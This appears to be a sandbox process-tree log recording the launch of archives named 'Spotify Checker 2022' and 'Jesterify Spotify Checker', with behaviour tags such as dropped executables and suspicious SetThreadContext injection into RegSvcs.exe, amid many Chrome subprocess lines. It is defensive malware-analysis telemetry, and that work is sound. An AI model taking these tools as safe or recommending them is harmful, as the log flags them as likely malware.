C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1648 /prefetch:22⤵PID:4548
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2024 /prefetch:82⤵PID:2268
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2364 /prefetch:82⤵PID:4760
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2760 /prefetch:12⤵PID:4916
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2752 /prefetch:12⤵PID:2796
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3680 /prefetch:12⤵PID:224
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4540 /prefetch:82⤵PID:3304
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4836 /prefetch:82⤵PID:3436
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4712 /prefetch:82⤵PID:4672
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4932 /prefetch:82⤵PID:1452
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4692 /prefetch:82⤵PID:3716
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4644 /prefetch:12⤵PID:3556
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5284 /prefetch:12⤵PID:1956
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1700 /prefetch:82⤵PID:3244
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2596 /prefetch:12⤵PID:1892
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1576 /prefetch:12⤵PID:1108
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4840 /prefetch:82⤵PID:3428
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5660 /prefetch:82⤵PID:1532
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5848 /prefetch:82⤵PID:3172
-
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\Spotify Checker 2022.zip"2⤵
- Executes dropped EXE
- Modifies registry class
PID:696
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1544 /prefetch:82⤵PID:4204
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3640 /prefetch:82⤵PID:1568
-
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter\104.288.200\software_reporter_tool.exe"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter\104.288.200\software_reporter_tool.exe" --engine=2 --scan-locations=1,2,3,4,5,6,7,8,10 --disabled-locations=9,11 --session-id=rdqB4VNgs/e51q+lkMDa7VIlbaFCqDqkeNkIeJzu --registry-suffix=ESET --enable-crash-reporting --srt-field-trial-group-name=Off2⤵
- Executes dropped EXE
PID:1100 -
\??\c:\users\admin\appdata\local\google\chrome\user data\swreporter\104.288.200\software_reporter_tool.exe"c:\users\admin\appdata\local\google\chrome\user data\swreporter\104.288.200\software_reporter_tool.exe" --crash-handler "--database=c:\users\admin\appdata\local\Google\Software Reporter Tool" --url=https://clients2.google.com/cr/report --annotation=plat=Win32 --annotation=prod=ChromeFoil --annotation=ver=104.288.200 --initial-client-data=0x284,0x288,0x28c,0x260,0x290,0x7ff69a992d20,0x7ff69a992d30,0x7ff69a992d403⤵
- Executes dropped EXE
PID:3284
-
-
\??\c:\users\admin\appdata\local\google\chrome\user data\swreporter\104.288.200\software_reporter_tool.exe"c:\users\admin\appdata\local\google\chrome\user data\swreporter\104.288.200\software_reporter_tool.exe" --enable-crash-reporting --use-crash-handler-with-id="\\.\pipe\crashpad_1100_YRSYLSLFQOVIWQQJ" --sandboxed-process-id=2 --init-done-notifier=768 --sandbox-mojo-pipe-token=7013401307066653921 --mojo-platform-channel-handle=752 --engine=23⤵
- Executes dropped EXE
PID:4728
-
-
\??\c:\users\admin\appdata\local\google\chrome\user data\swreporter\104.288.200\software_reporter_tool.exe"c:\users\admin\appdata\local\google\chrome\user data\swreporter\104.288.200\software_reporter_tool.exe" --enable-crash-reporting --use-crash-handler-with-id="\\.\pipe\crashpad_1100_YRSYLSLFQOVIWQQJ" --sandboxed-process-id=3 --init-done-notifier=1000 --sandbox-mojo-pipe-token=6638470283049980240 --mojo-platform-channel-handle=9963⤵
- Executes dropped EXE
PID:3876
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5656 /prefetch:82⤵PID:1860
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5948 /prefetch:82⤵PID:4840
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3856 /prefetch:82⤵PID:3848
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5032 /prefetch:82⤵PID:4892
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3368 /prefetch:82⤵PID:3232
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2604 /prefetch:22⤵PID:5096
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3136 /prefetch:82⤵PID:1864
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5028 /prefetch:82⤵PID:4896
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3784 /prefetch:82⤵PID:1712
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3100 /prefetch:82⤵PID:1120
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3380 /prefetch:82⤵PID:1028
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4688 /prefetch:12⤵PID:3132
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2360 /prefetch:82⤵PID:2980
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5008 /prefetch:82⤵PID:4912
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3032 /prefetch:82⤵PID:4840
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2944 /prefetch:82⤵PID:4256
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2896 /prefetch:12⤵PID:1272
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,17433046410047745208,11236101259696553084,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4740 /prefetch:82⤵PID:4092
-
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\Jesterify Spotify Checker [Updated 20 June].zip"2⤵
- Executes dropped EXE
PID:3640
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:1480
-
C:\Users\Admin\Desktop\Spotify Checker 2022\Spotify Checker 2022.exe"C:\Users\Admin\Desktop\Spotify Checker 2022\Spotify Checker 2022.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2000 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"2⤵PID:3136
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 2762⤵
- Program crash
PID:4232
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
PID:2796
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2000 -ip 20001⤵PID:4320
-
C:\Users\Admin\Desktop\Spotify Checker 2022\Spotify Checker 2022.exe"C:\Users\Admin\Desktop\Spotify Checker 2022\Spotify Checker 2022.exe"1⤵
- Executes dropped EXE
PID:4936
-
C:\Users\Admin\Desktop\Spotify Checker 2022\Spotify Checker 2022.exe"C:\Users\Admin\Desktop\Spotify Checker 2022\Spotify Checker 2022.exe"1⤵
- Executes dropped EXE
PID:812
-
C:\Users\Admin\Desktop\Jesterify Spotify Checker [Updated 20 June]\Patcher_for_Cracked.to.exe"C:\Users\Admin\Desktop\Jesterify Spotify Checker [Updated 20 June]\Patcher_for_Cracked.to.exe" "C:\Users\Admin\Desktop\Jesterify Spotify Checker [Updated 20 June]\JESTERify.exe"1⤵
- Executes dropped EXE
PID:3516
-
C:\Users\Admin\Desktop\Jesterify Spotify Checker [Updated 20 June]\JESTERify.exe"C:\Users\Admin\Desktop\Jesterify Spotify Checker [Updated 20 June]\JESTERify.exe"1⤵
- Executes dropped EXE
PID:1720
-
C:\Users\Admin\Desktop\Jesterify Spotify Checker [Updated 20 June]\JESTERify.exe"C:\Users\Admin\Desktop\Jesterify Spotify Checker [Updated 20 June]\JESTERify.exe"1⤵
- Executes dropped EXE
PID:1656
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
PID:4048 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffde8984f50,0x7ffde8984f60,0x7ffde8984f702⤵PID:4852
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1624 /prefetch:22⤵PID:3172
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2020 /prefetch:82⤵PID:3132
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2748 /prefetch:12⤵PID:800
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2724 /prefetch:12⤵PID:3092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2460 /prefetch:82⤵PID:3684
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3696 /prefetch:12⤵PID:3240
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3912 /prefetch:82⤵PID:2508
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4560 /prefetch:82⤵PID:3652
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4688 /prefetch:82⤵PID:1876
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4820 /prefetch:82⤵PID:3396
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4884 /prefetch:12⤵PID:4608
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5060 /prefetch:12⤵PID:4540
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1584 /prefetch:12⤵PID:3952
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2812 /prefetch:12⤵PID:3920
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3344 /prefetch:82⤵PID:1280
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5352 /prefetch:12⤵PID:4692
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2920 /prefetch:12⤵PID:2164
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5440 /prefetch:82⤵PID:3512
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=2312 /prefetch:82⤵PID:3664
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5316 /prefetch:12⤵PID:224
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2268 /prefetch:12⤵PID:2116
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4992 /prefetch:82⤵PID:1828
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3712 /prefetch:12⤵PID:3032
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3732 /prefetch:12⤵PID:1088
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1580 /prefetch:12⤵PID:3304
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5804 /prefetch:12⤵PID:1160
-
-
